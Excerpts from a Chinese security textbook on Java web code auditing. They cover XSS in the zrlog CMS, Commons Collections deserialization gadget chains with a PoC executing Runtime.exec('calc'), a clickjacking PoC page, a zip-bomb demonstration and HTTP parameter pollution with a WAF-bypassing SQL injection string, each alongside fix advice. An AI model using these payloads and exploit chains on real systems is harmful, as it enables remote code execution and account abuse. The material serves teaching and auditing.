    {"text": "然后，登录管理员账号，并在网站设置→基本信息→网站标题处插入恶意 XSS Payload“<script>alert('Ms08067')</script>”，并单击“提交”按钮，如图 5-146 所示。 图 5-146 插入 XSS Payload 的测试 5.7 跨站脚本（XSS） 207 如果受害者通过浏览器访问该网站，浏览器会依据数据库中存储的字段对网页 进行渲染，受害者会被动地受到恶意代码的攻击，如图 5-147 所示。 图 5-147 受害者受到了 XSS Payload 的攻击 为了通过 HTTP 请求定位到源码，此时也可以使用 TamperData 等抓包工具抓取 HTTP 请求，如图 5-148 所示。 图 5-148 使用 Tamper Data 抓取 HTTP 请求 由图 5-148 可知，攻击者可通过接口“POST/api/admin/website/update”向数据库 中写入 XSS payload。"},
    {"text": "2．审计“输入点”代码 通过查看 zrlog 工程部署目录中的 WEB-INF/web.xml 文件，可发现该开源 CMS 208 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 通过类 com.zrlog.web.config.ZrLogConfig 进行访问控制。"},
    {"text": "为了通过该字节码文件查看源码，我们可以借用 JD-GUI 等工具 进行反编译，如图 5-149 所示。 图 5-149 使用 JD-GUI 反编译.class 文件 通过审计该类的源码，我们可以发现这份源码的路由配置信息，如图 5-150 所示。"},
    {"text": "图 5-150 查看 ZrlogConfig 类的路由配置信息 5.7 跨站脚本（XSS） 209 通过审计 configure(Routes routes)方法的源码可以发现，部分路由信息位于类 AdminRoutes 中。"},
    {"text": "图 5-152 查看 WebSiteController 类的 update 方法 由图 5-152 可知，方法 update 会将由 HTTP 请求传输过来的用户数据储存到 Map 210 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 对象 requestMap 中，并通过类 com.zrlog.model.WebSite 的 updateByKV 方法进行数据 更新。"},
    {"text": "在对类文件/data/src/main/java/com/zrlog/model/WebSite.java 的源码进行审计 后，可发现 update 方法未对数据进行过滤、扰乱以及编码，就将数据存放至数据库， 如图 5-153 所示。"},
    {"text": "5.7 跨站脚本（XSS） 211 5.7.4 DOM 型 XSS 漏洞 DOM 型 XSS 漏洞是基于 Document Object Model（文本对象模型）的一种 XSS 漏洞，客户端的脚本程序可以通过 DOM 动态地操作和修改页面内容。"},
    {"text": "<script> var pos = document.URL.indexOf(\"#\")+1; var name = document.URL.substring(pos, document.URL.length); document.write(name); eval(\"var a = \" + name); </script> 恶意的 PoC 如下。"},
    {"text": "图 5-155 DOM 型 XSS 漏洞的执行结果 DOM 型 XSS 漏洞常见的输入输出点如表 5-4 所示。 表 5-4 DOM 型 XSS 漏洞常见的输入输出点 输入点 输出点 document.URL eval document.location document.write document.referer document.InnterHTML document.form document.OuterHTML …… …… 212 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 5.7.5 修复建议 为了对 XSS 漏洞进行修复，建议的方法如表 5-5 所示。"},
    {"text": "表 5-5 建议的 XSS 漏洞修复方法 方法 备注 对与后端有交互的位置执行 可通过 Java 过滤器 filter、Spring 参数校验注解来实现 参数的输入过滤 对与后端有交互的位置执行 可通过运用 org.springframework.web.util.HtmlUtils 或 commons-lang-2.5.jar 参数的输出转义 实现 HTML 标签及转义字符之间的转换 开启 JS 开发框架的 XSS 防护 例如，JS 开发框架 AngularJS 默认启动了对 XSS 攻击的防御 功能（若应用了 JS 开发框架） 严格地说，设置 HttpOnly 对防御 XSS 漏洞不起作用，主要是为了解决 XSS 设置 HttpOnly 漏洞后续的 Cookie 劫持攻击。 这一攻击方式可阻止客户端脚本访问 Cookie 践行 DOM Based XSS 为了防御 DOM 型 XSS，可参照 OWASP 的 DOM Based XSS Prevention Cheat Prevention Cheat Sheet Sheet 5.7.6 小结 本节对在各类 Web 平台均高发的 XSS 漏洞进行了探究。 首先简要介绍了 XSS 的概念，接着介绍了反射型、存储型、DOM 型等 XSS 漏洞的原理及代码审计思路， 最后介绍了针对 XSS 漏洞的修复建议。"},
    {"text": "XSS 漏洞的危害不局限于窃取 Cookie、钓鱼攻击，还可以衍生出很多攻击利用 方式（可以说，前端页面能做的事它都能做），希望读者朋友们予以重视。"},
    {"text": "5.8 不安全的反序列化 5.8.1 不安全的反序列化漏洞简介 Java 序列化及反序列化处理在基于 Java 架构的 Web 应用中具有尤为重要的作 5.8 不安全的反序列化 213 用。"},
    {"text": "例如位于网络两端、彼此不共享内存信息的两个 Web 应用在进行远程通信时， 无论相互间发送何种类型的数据，在网络中实际上都是以二进制序列的形式传输的。"},
    {"text": "5.8.2 反序列化基础 序列化是指将对象转化为字节流，其目的是便于对象在内存、文件、数据库或 者网络之间传递。 反序列化则是序列化的逆过程，即字节流转化为对象的过程，通 常是程序将内存、文件、数据库或者网络传递的字节流还原成对象。 在 Java 原生的 API 中，序列化的过程由 ObjectOutputStream 类的 writeObject()方法实现，反序列化 过程由 ObjectInputStream 类的 readObject()方法实现。 将字节流还原成对象的过程都 可以称作反序列化，例如，JSON 串或 XML 串还原成对象的过程也是反序列化的过 程。 同理，将对象转化成 JSON 串或 XML 串的过程也是序列化的过程，如图 5-156 所示。 图 5-156 序列化与反序列化示意图 Java 序列化通过 ObjectOutputStream 类的 writeObject()方法完成，能够被序列化 的类必须要实现 Serializable 接口或者 Externalizable 接口。"},
    {"text": "public class Throwable implements Serializable { /** 使用 JDK 1.0.2 中的 serialVersionUID 实现互操作性 */ private static final long serialVersionUID = -3042686055658047285L; private transient Object backtrace; private String detailMessage; \\\\省略 } JDK 中的 Throwable 类通过实现 Serializable 接口来表明自身可被序列化，其中 serialVersionUID 作为版本号信息，若在不同系统中该属性值不相等，则无法进行反 序列化。"},
    {"text": "当开发者重写 readObject 方法或 readExternal 方法时，其中如果隐藏有一些危险的操作且未对正在 进行序列化的字节流进行充分的检测时，则会成为反序列化漏洞的触发点。"},
    {"text": "5.8.3 漏洞产生的必要条件 1．程序中存在一条可以产生安全问题的利用链，如远程代码执行 在程序中，通过方法调用、对象传递和反射机制等手段作为跳板，攻击者能构 造出一个产生安全问题的利用链，如任意文件读取或写入、远程代码执行等漏洞。"},
    {"text": "Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() 5.8 不安全的反序列化 215 InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() 2．触发点 反序列化过程是一个正常的业务需求，将正常的字节流还原成对象属于正常的 功能。"},
    {"text": "但是当程序中的某处触发点在还原对象的过程中，能够成功地执行构造出来 的利用链，则会成为反序列化漏洞的触发点。 反序列化的漏洞形成需要上述条件全部得到满足，程序中仅有一条利用链或者 仅有一个反序列化的触发点都不会造成安全问题，不能被认定为漏洞。"},
    {"text": "5.8.4 反序列化拓展 1．RMI Java RMI（Java Remote Method Invocation，Java 远程方法调用）是允许运行在 一个 Java 虚拟机的对象调用运行在另一个 Java 虚拟机上的对象的方法。"},
    {"text": "在网络传输的过程中，RMI 中的对象是通过序列化方式进行编码传输的。 这意 味着，RMI 在接收到经过序列化编码的对象后会进行反序列化。 因此，可以通过 RMI 服务作为反序列化利用链的触发点。"},
    {"text": "JNDI 典型的应用场景是配置数据源， 除此之外，JNDI 还可以访问现有的目录和服务，例如 LDAP、RMI、CORBA、DNS、 NDS、NIS，如图 5-158 所示。"},
    {"text": "216 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-157 PoC 的执行结果 图 5-158 JNDI 的应用场景 在程序通过 JNDI 获取外部远程对象过程中，程序被控制访问恶意的服务地址 （例如指向恶意的 RMI 服务地址），并加载和实例化恶意对象时，将会造成 JNDI 注入。"},
    {"text": "5.8 不安全的反序列化 217 ● 当客户端执行 lookup()时，会对恶意的 Factory 类进行加载并实例化，通过 factory.getObjectInstance()获取外部远程对象实例。 ● 攻击者在 Factory 类文件的构造方法、静态代码块、getObjectInstance()方法等 处写入恶意代码，达到远程代码执行的效果。"},
    {"text": "JEP290 是官方发布的用于缓解反序列化漏洞的措施，从 8u121、7u13、 6u141 版本开始，JDK 为 RMI 注册表和 RMI 分布式垃圾收集器内置了过滤器， 只允许特定的类进行反序列化。"},
    {"text": "218 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-161 过滤器拒绝了反序列化 5.8.5 Apache Commons Collections 反序列化漏洞 2015 年，FoxGlove Security 安全团队介绍了 Java 反序列化以及构造基于 Apache Commons Collections 3.1 版本的利用链攻击了当时最新版的 WebLogic、JBoss 等知名 Java 应用。"},
    {"text": "1．反序列化漏洞原理 在 org/apache/commons/collections/functors/InvokerTransformer#transform 中存在 一段利用反射技术执行任意 Java 代码的代码，如下所示，当 input 变量可控时，可以 通过反射执行任意类的任意方法。"},
    {"text": "public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParam Types); return method.invoke(input, this.iArgs); 5.8 不安全的反序列化 219 } \\\\省略 } } 例如，当 input 为 Runtime 的对象时，则可以执行任意系统命令。 但由于 Runtime 类并未实现 Serializable 接口，因此 Runtime 对象不可被序列化，所以在反序列化的 利用场景中无法直接控制 input 为 Runtime 对象。"},
    {"text": "结合上面的代 码，可以构造出链式调用 Runtime.getRuntime().exec(\"calc\")，此时便成功向系统注入 了一个 Runtime 对象，完成了任意代码执行，这便是 Commons Collection 反序列化 漏洞的核心。"},
    {"text": "public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } 利用 ChainedTransformer 执行系统命令 PoC 的源码如下。 public static void main(String[] args){ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[]{ String.class, Class[].class}, new Object[]{ \"getRuntime\", new Class[0]} ), new InvokerTransformer(\"invoke\", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(null); } 220 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 该 PoC 的执行结果如图 5-162 所示。"},
    {"text": "图 5-162 PoC 的执行结果 有了能够执行任意代码的利用点，还需要一个反序列化的触发点，也就是调用 某个类的 readObject 方法。 当某个类的 readObject 方法可以通过一定的代码逻辑到达 漏洞的利用点时，就可以利用它进行漏洞的触发。"},
    {"text": "通过 AnnotationInvocationHandler 类的 readObject()方法作为触发点，此利用链利用动态代理会执行 invoke 的特性将代码逻 辑控制执行到 LazyMap.get()方法，又由于 LazyMap.get()方法会调用 ChainedTrans former.transform()方法，从而到达任意代码执行的漏洞点。 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() 5.8 不安全的反序列化 221 Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() CommonsCollections6 的 利 用 链 如 下 。"},
    {"text": "Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry. hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry. getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.Chained Transformer.transform() org.apache.commons.collections.functors.Invoker Transformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() 在 Ysoserial 反序列化利用工具中，构造 CommonsCollections6 利用链 PoC 的过 程中有一个小细节，即不能直接使用 map.add(entry)将带有 payload 的 entry 加入 map 对象内部。"},
    {"text": "public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> { public Serializable getObject(final String command) throws Exception { //省略 final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\"); HashSet map = new HashSet(1); map.add(\"foo\"); Field f = null; try { f = HashSet.class.getDeclaredField(\"map\"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField(\"backingMap\"); 222 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField(\"table\"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField(\"elementData\");"},
    {"text": "Unknown 接着我们前往网站的上传目录“\\uploads\\1”查看该压缩包文件的解压情况，可 以发现，虽然恶意文件“zbsm.zip”只有 42KB，但是实际解压出的文件总大小约为 5.08GB，这也说明“压缩包炸弹”攻击已经实施，如图 6-62 所示。"},
    {"text": "322 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 图 6-62 攻击成功 6.8.3 小结 对于审计者来说，我们在审计拒绝服务漏洞时，需要注意的是漏洞消耗的资源 不仅仅是 CPU 资源，还可以是硬盘资源，造成拒绝服务的方式都可以归结为资源消 耗。"},
    {"text": "同样需要注意的是，审计的函数点不应该局限于 matcher()、compile()、regex()、 split()以及 replaceAll() 等函数，能够利用正则表达式处理字符串的方法都需要关注。"},
    {"text": "此外，我们应该对正则有一定的了解，这样才可能在审计开发者所写的正则表达式 时发现缺陷，并且更深入地了解正则也能够帮助我们去构造测试 PoC。"},
    {"text": "6.9 点击劫持漏洞 323 6.9 点击劫持漏洞 6.9.1 点击劫持漏洞简介 点击劫持（Clickjacking）也称为 UI-覆盖攻击（UI Redress Attack），这个概念源 于耶利米·格罗斯曼（Jeremiah Grossman）和罗伯特·汉森（Robert Hansen），这两 人在 2008 年发现 Adobe Flash Player 能够被劫持，使攻击者可以在用户不知情的情 况下访问计算机。 点击劫持是一种视觉上的欺骗手段，攻击者利用 iframe 元素制作 了一个透明的、不可见的页面，然后将其覆盖在另一个网页上，最终诱使用户在该 网页上进行操作。"},
    {"text": "然后，将该界面固定 在某个页面的某个功能处，当用户单击真实功能处时，实际上单击的是攻击者劫持 324 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 的功能；"},
    {"text": "在实际应用中，攻击者所追求的往往不是“点击”，而是“劫持”，有的攻击者 甚至在输入框上伪装一个输入框，误导用户在错误的位置输入关键信息。 6.9.2 漏洞发现与修复案例 点击劫持漏洞在实战中出现的频率并不高，大多数是攻击者自己搭建相应的界 面诱使用户去单击攻击者事先隐藏的功能。"},
    {"text": "<!DOCTYPE html> <html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>点击劫持 POC</title> <style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 300px; right: 292px; z-index: 1; width: 80px; height: 20px; } </style> </head> <body> 6.9 点击劫持漏洞 325 <iframe src=\"https://www.toutiao.com/c/user/token/MS4wLjABAAAAiAce5qhH31T euB3UdpFMV8u-uwy2LnoiqI10uZHqAt8/\" scrolling=\"no\"></iframe> <button>点击</button> </body> </html> 将以上代码保存为 test.html，打开并查看效果，如图 6-64 所示。"},
    {"text": "对于点击劫持漏洞，目前大多数站点有一定的防护措施，如图 6-67 所示，目标 站点禁止 iframe 引用。 326 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 图 6-65 半透明效果 图 6-66 点击劫持效果 图 6-67 禁止 iframe 引用 6.10 HTTP 参数污染漏洞 327 因此，对于审计者来说，最直观的审计方法就是直接使用 iframe 引用，观测该 站点能否访问，其次就是通过审计配置设置来确定源程序是否设定了相关策略，具 体如下。"},
    {"text": "● 设 置 Meta 标 签 方 法 ， 如 设 置 <meta http-equiv=\"X-FRAME-OPTIONS\" content=\"DENY\">;。 ● 设置 Apache 主机方法，如设置 Header always append X-Frame-Options SAMEORIGIN;。 ● 设置 Nginx 主机方法，如设置 add_header X-Frame-Options \"SAMEORIGIN\";。 ● 设 置 .htaccess 文 件 方 法 ， 如 设 置 Header append X-FRAME-OPTIONS \"SAMEORIGIN\";。"},
    {"text": "6.9.3 小结 在实战中，安全人员遇到的点击劫持漏洞很少，因为这种漏洞很容易被修复， 防护措施也非常有效，并且点击劫持漏洞通常是与 CSRF 以及 XSS 漏洞结合使用。"},
    {"text": "6.10 HTTP 参数污染漏洞 6.10.1 HTTP 参数污染漏洞简介 简单来说，HTTP 参数污染（HTTP Parameter Pollution，HPP）就是为一个参数 赋予两个或两个以上的值。"},
    {"text": "由于现行的 HTTP 标准并未具体说明在遇到多个输入值 为相同的参数赋值时应如何处理，并且不同站点对此类问题做出的处理方式不同， 因此会造成参数解析错误。"},
    {"text": "toAccount=5535&fromAccount=6666 此时如果我们提供重复参数，如下所示。 toAccount=5535&fromAccount=6666&toAccount=9999 可以看到，我们在完整请求的参数后重复添加了 toAccount 参数，假设后端逻 辑 是 仅 仅 接 受 最 后 一 个 参 数 （ fromAccount ）， 因 此 由 恶 意 用 户 提 交 的 参 数 （fromAccount=6666&toAccount=9999）会覆盖后端请求（toAccount=5535），并将系 统预期账户（6666）修改为恶意账户（9999）。"},
    {"text": "HPP 漏洞的产生，一方面因为 Web 服务器处理机制的不同，具体服务器的处理 机制如表 6-6 所示。 表 6-6 各类 Web 服务器处理机制 Web 服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(\"par\") Last JSP/Tomcat Request.getParameter(\"par\") First Perl(CGI)/Apache Param(\"par\") First ASP/IIS Request.QueryString(\"par\") All (comma-delimited string) Python/Apache getvalue(\"par\") All (List) 另一方面，HPP 漏洞的产生原因来自源程序中的参数逻辑检测，如果在源程序 中对参数的逻辑检测存在缺陷，同样会产生 HPP 漏洞。 但总的来说，HPP 漏洞的 危险性取决于参数在后端的位置，如果是一些重点功能的参数或者带入了数据库， 就可能引发高风险的漏洞。"},
    {"text": "void private executeBackendRequest(HTTPRequest request){ 6.10 HTTP 参数污染漏洞 329 String amount=request.getParameter(\"amount\"); String beneficiary=request.getParameter(\"recipient\"); HttpRequest(\"http://example.com/servlet/actions\",\"POST\",\"action= withdraw&amount=\"+amount+\"&recipient=\"+beneficiary); } 正常用户的请求可能如下。"},
    {"text": "http://example.com/page?amount=1000&action=withdraw&recipient=Mat 攻击者的请求可能如下。 http://example.com/page?amount=1000&action=withdraw&recipient=Mat&action=tr ansfer 根据 HPP 漏洞原理我们知道，攻击者可能将原有的 withdraw 偷偷篡改为 transfer，同理，示例代码如下。 String lang = request.getParameter(\"lang\"); GetMethod get = new GetMethod(\"http://www.host.com\"); get.setQueryString(\"lang=\" + lang + \"&user_id=\" + user_id); get.execute(); 当攻击者将参数 lang 赋值为 en&user_id=1 时，可能会使原有的用户 id 发生改 变，进而达到越权等目的。"},
    {"text": "除利用 HPP 漏洞直接攻击站点外，HPP 还可以帮助我们躲避 WAF 的检测， 常见的注入语句如下。 http://example.com/test.jsp?id=7 'select wmsys.wm_concat(granted_role) from user_role_privs-- 当站点配置有 WAF 时，会拦截形如 select、union 等常见的注入关键字，此时 我们就可以通过 HPP 漏洞来绕过。 http://example.com/test.jsp?id=7&id='select wmsys.wm_concat(granted_role) from user_role_privs-- 原本第一个参数是被 WAF 检测的，此时注入语句被写到第二个参数值的位置， 因此不会被 WAF 解析，从而达到了绕过 WAF 的效果。"},
    {"text": "对于审计者来说，HPP 漏洞的挖掘和逻辑漏洞的挖掘比较类似，因此在审计 HPP 漏洞时，需要我们在了解站点功能的基础上同时进行灰盒测试，这样才能更加 高效地找出 HPP 可能出现的位置。"},
    {"text": "HPP 漏洞 的挖掘实际上取决于实战经验，但是审计者发现该漏洞的概率应该大于攻击者，因 为站点的后端行为对于黑客来说是黑盒，攻击者并不清楚具体逻辑以及参数最终传 输的流程，因此只要细心，发现该漏洞的难度并不大。"},
    {"text": "第 7 章 Java EE 开发框架安全审计 随着 Java Web 技术的不断发展，Java 开发 Web 项目由最初的单纯依靠 Servlet（在 Java 代码中输出 HTML）慢慢演化出了 JSP（在 HTML 文件中书写 Java 代码）。"},
    {"text": "虽然 JSP 的出现在很大程度上简化了开发过程和减少了代码量，但还是对开发人员不够友 好，所以慢慢地又出现了众多知名的开源框架，如 Struts2、Sping、Spring MVC、Hibernate 和 MyBatis 等。"},
    {"text": "目前很多成熟的大型项目在开发过程中都使用这些开源框架，而框架 的本质是对底层信息的进一步封装，目的是使开发人员将更多的精力集中在业务逻辑 中。"},
    {"text": "针对框架的审计则需要我们对框架本身的执行流程有一定程度的了解，根据框架 的执行流程逐步追踪，从而发现隐藏在项目代码中的种种安全隐患。"},
    {"text": "7.1 开发框架审计技巧简介 7.1.1 SSM 框架审计技巧 1．SSM 框架简介 SSM 框架，即 Spring MVC+Spring+MyBatis 这 3 个开源框架整合在一起的缩写。 332 第 7 章 Java EE 开发框架安全审计 在 SSM 框架之前，生产环境中多采用 SSH 框架（由 Struts2+Spring+Hibernate 这 3 个开源框架整合而成）。"},
    {"text": "Spring 是分层的 Java SE/EE full-stack 轻量级开源框架，以 IoC（Inverse of Control，控制反转）和 AOP（Aspect Oriented Programming，面向切面编程）为内核， 使用基本的 JavaBean 完成以前只可能由 EJB 完成的工作，取代了 EJB 臃肿和低 效的开发模式。"},
    {"text": "Spring MVC 的底层就是以 Servlet 技术进行构建的。 Servlet 是基于 Java 技术的 Web 组件，由容器管理并产生动态的内容。 Servlet 与客户端通过 Servlet 容器实现的 请求/响应模型进行交互。"},
    {"text": "对以 SSM 框架搭建的 Java Web 项目进行审计，需要对以上概念有一定程度的了解。 2．SSM 框架代码的执行流程和审计思路 代码审计的核心思想是追踪参数，而追踪参数的步骤就是程序执行的步骤。 因 此，代码审计是一个跟踪程序执行步骤的过程，了解了 SSM 框架的执行流程自然会 了解如何如跟踪一个参数，剩下的就是观察在参数传递的过程中有没有一些常见的 漏洞点。 7.1 开发框架审计技巧简介 333 这里通过创建一个简单的 Demo 来描述基于 SSM 框架搭建的项目完成用户请求的具体流程，以及 观察程序对参数的过滤是如何处理的。"},
    {"text": "DispatcherServlet 是前端控制器设计模式的实现，提供 Spring Web MVC 的集中访问点（也就是把前端请求分发到目标 Controller），而且与 Spring IoC 容器无缝集成，从而 可以利用 Spring 的所有优点。"},
    {"text": "<init-param>子标签是生成 DispatcherServlet 时的初 始化参数 contextConfigLocation，Spring 会根据该参数 图 7-1 图书管理程序的目录结构 加 载 所 有 逗 号 分 隔 的 xml 文 件 。 如 果 没 有 这 个 参 数 ， Spring 默 认 加 载 WEB-INF/DispatcherServlet-servlet.xml 文件。"},
    {"text": "334 第 7 章 Java EE 开发框架安全审计 图 7-2 web.xml 文件内容 3．Spring 核心配置文件 applicationContext.xml 我们可以根据加载顺序查看 applicationContext.xml，如图 7-3 所示。 7.1 开发框架审计技巧简介 335 图 7-3 applicationContext.xml applicationContext.xml 中包含 3 个配置文件，它们是 Spring 用来整合 Spring MVC 和 MyBaits 的配置文件，文件中的内容都可以直接写入 applicationContext.xml 中，因 为 applicationContext.xml 是 Spring 的核心配置文件，例如生成 Bean，配置连接池， 生成 sqlSessionFactory。"},
    {"text": "但是为了便于理解，这些配置分别写在 3 个配置文件中，由 applicationContext.xml 将 3 个 xml 进行关联。 由图 7-4 我们可以清晰地看到 applicationContext.xml 将这 3 个配置文件关联了起来。 图 7-4 applicationContext.xml 关联 3 个配置文件 数据经由 DispatcherServlet 派发至 Spring-mvc.xml 的 Controller 层。 我们先看 Spring-mvc.xml 配置文件，如图 7-5 所示。 336 第 7 章 Java EE 开发框架安全审计 图 7-5 Spring-mvc.xml 配置文件 （1）<mvc:annotation-driven />标签。"},
    {"text": "如果在 web.xml 中 servlet-mapping 的 url-pattern 设置的是/，而不是.do，表示将 所 有 的 文 件 包 含 静 态 资 源 文 件 都 交 给 Spring MVC 处 理 ， 这 时 需 要 用 到 <mvc:annotation-driven />。"},
    {"text": "在 Spring-mvc.xml 中配置<mvc:default-servlet-handler/>后，会在 Spring MVC 上下文 中定义一个 org.springframework.web.servlet.resource.DefaultServletHttp-RequestHandler， 它会像检查员一样对进入 DispatcherServlet 的 URL 进行筛查。"},
    {"text": "${pageContext.request.contextPath}是 JSP 取得绝对路径的方法, 也就是取出部署 的应用程序名或者是当前的项目名称，避免在把项目部署到生产环境中时出错。"},
    {"text": "338 第 7 章 Java EE 开发框架安全审计 图 7-8 BookController 类的代码 仔细观察 list 方法，其中调用了 bookService 参数的 queryAllBook 方法，这里使 用了两个注解：@Autowired 和@Qualifier。"},
    {"text": "5．SSM 之 Spring 执行流程 这里我们就要从 Spring MVC 的部分过渡到 Spring 的部分，所谓的过渡就是我们 从 Spring MVC 的 Controller 层去调用 Service 层，而 Service 层就是我们使用 Spring 进行 IoC 控制和 AOP 编程的地方。"},
    {"text": "首先我们需要查看配置文件 spring-service.xml，如图 7-9 所示。 图 7-9 配置文件 spring-service.xml 这里我们发现 id 为 BookServiceImpl 的 bean，该 bean 的 class 路径是 com.ssm_ project.service.BookServiceImpl。"},
    {"text": "用户还可以为这个 bean 设置一个名称 340 第 7 章 Java EE 开发框架安全审计 方便调用（如果不设置 id 参数名，则 bean 的名称默认为类名开头的小写字母，比如 BookServiceImpl，如不特别指定，则生成的 bean 的名称是 bookServiceImpl）。"},
    {"text": "Spring 会在启动时将用户指定好的类生成的实例放入 IoC 容器中供用户使用。 通俗地说就 是本来由用户手动生成实例的过程交由 Spring 来处理，这就是所谓的控制反转。"},
    {"text": "接下来查看 BookServiceImpl 类的详细信息，如图 7-10 所示。 图 7-10 BookServiceImpl 类的详细信息 首先看到该类实现了 BookService 接口，查看该接口，如图 7-11 所示。 图 7-11 BookService 接口 可以看到该接口中定义了 4 种方法，为了方便理解，这些方法的名字对应着日 常项目中常用的操作数据库的 4 个方法，即增、删、改、查。 接下来查看接口的实现类 BookServiceImpl，如图 7-12 所示。 实 现 了 BookService 接 口 ， 自 然 也 需 要 实 现 该 接 口 下 的 所 有 方 法 ， 找 到 queryAllBook 方法，发现 queryAllBook 调用了 bookMapper 参数的 queryAllBook 方 法，而 bookMapper 是 BookMapper 类型的参数。"},
    {"text": "ref 属性是指要注入的 value 是其他的 Bean 类型，如果传入的是一些基本类型或者 String 类型，则不需要使用 ref ，只需 7.1 开发框架审计技巧简介 341 将 ref 改成 value，如图 7-13 所示。"},
    {"text": "图 7-12 实现类 BookServiceImpl 图 7-13 spring-service.xml 中的配置 这里通过 ref 属性向 BookServiceImpl 类中的 bookMapper 参数注入了一个 value， 这个 value 是一个其他的 bean 类型，该 bean 的 id 为 bookMapper。 此时 Service 层的 BookServiceImpl 的 queryAllBook 方法的实现方式其实就是调用了 id 为 bookMapper 的 bean 的 queryAllBook 方法，因此这个 id 为 bookMapper 的 bean 就是程序执行的下 一步。"},
    {"text": "6．SSM 之 MyBatis 执行流程 接下来就是 Web 三层架构的数据访问层，也就是 MyBaits 负责的部分，通常这 一部分的包名叫作 xxxdao，也就是开发过程中经常提及的 DAO 层，该包下面的类和 接口通常叫作 xxxDao 或者 xxxMapper。"},
    {"text": "此时用户的请求将从 Spring 负责的业务层过 渡到 MyBatis 负责的数据层，但是 MyBaits 和 Spring 之间不像 Spring MVC 和 Spring 342 第 7 章 Java EE 开发框架安全审计 一样可以无缝衔接，所以我们需要通过配置文件将 MyBatis 与 Spring 关联起来。"},
    {"text": "图 7-14 pom.xml 文件 可以看到我们导入的包除了 MyBatis 本身，还导入了一个 mybatis-spring 包，目 的就是为了整合 MyBatis 和 Spring。 spring-dao.xml 是用来整合 Spring 和 MyBatis 的 配置文件。 刚才我们看到 Spring 启动加载 bean 时会注入一个 id 为 bookMapper 的 bean，但 是我们并未在之前的任何配置文件包括注解中看到这个 bean 的相关信息，所以我们 接下来要查看 spring-dao.xml 中有没有与这个 bean 有关的信息，如图 7-15 所示。 图 7-15 查看 spring-dao.xml 文件 7.1 开发框架审计技巧简介 343 图 7-15 查看 spring-dao.xml 文件（续） 每项配置的作用基本都用注释的方式标明。"},
    {"text": "<context:property-placeholder location=\"classpath:database.properties\"/> 这里关联了一个 properties 文件，如图 7-16 所示，里面是连接数据库和配置连接 池时需要的信息。"},
    {"text": "图 7-17 配置扫描 DAO 接口包 该配置通过生成 MapperScannerConfigurer 的 bean 来实现自动扫描 com.ssm_ project.dao 下面的接口包，然后动态注入 Spring IoC 容器中，同样动态注入的 bean 的 id 默认为类名（开头字母小写），目录下包含的文件如图 7-18 所示。 344 第 7 章 Java EE 开发框架安全审计 图 7-18 dao 目录下包含的文件 我们看到有一个叫作 BookMapper 的接口文件，说明之前生成 BookServiceImpl 这个 bean 是通过<property>（BookServiceImpl 类中的 setBookMapper()方法）注入的 bookMapper，是由我们配置了 MapperScannerConfigurer 这个 bean 后，这个 bean 扫 描 dao 包下的接口文件并生成 bean。 然后再注入 Spring 的 IoC 容器中，所以我们才 可以在 BookServiceImpl 这个 bean 中通过<property>标签注入 bookmapper 这个 bean。 public void setBookMapper(BookMapper bookMapper) { this.bookMapper = bookMapper; } 然后查看该配置，如图 7-19 所示。"},
    {"text": "（1）SqlSessionFactory。 SqlSessionFactory 是 MyBatis 的关键对象，它是单个数据库映射关系经过编译后 的内存镜像。 SqlSessionFactory 对象的实例可以通过 SqlSessionBuilder 对象获得，而 SqlSessionBuilder 则可以从 xml 配置文件或一个预先定制的 Configuration 的实例构建 出 SqlSessionFactory 的实例。 SqlSessionFactory 是创建 SqlSession 的工厂。 （2）SqlSession。 SqlSession 是执行持久化操作的对象，类似于 JDBC 中的 Connection。"},
    {"text": "SqlSession 对象完全包括以 7.1 开发框架审计技巧简介 345 数据库为背景的所有执行 SQL 操作的方法，它的底层封装了 JDBC 连接，可以用 SqlSession 实例来直接执行已映射的 SQL 语句。"},
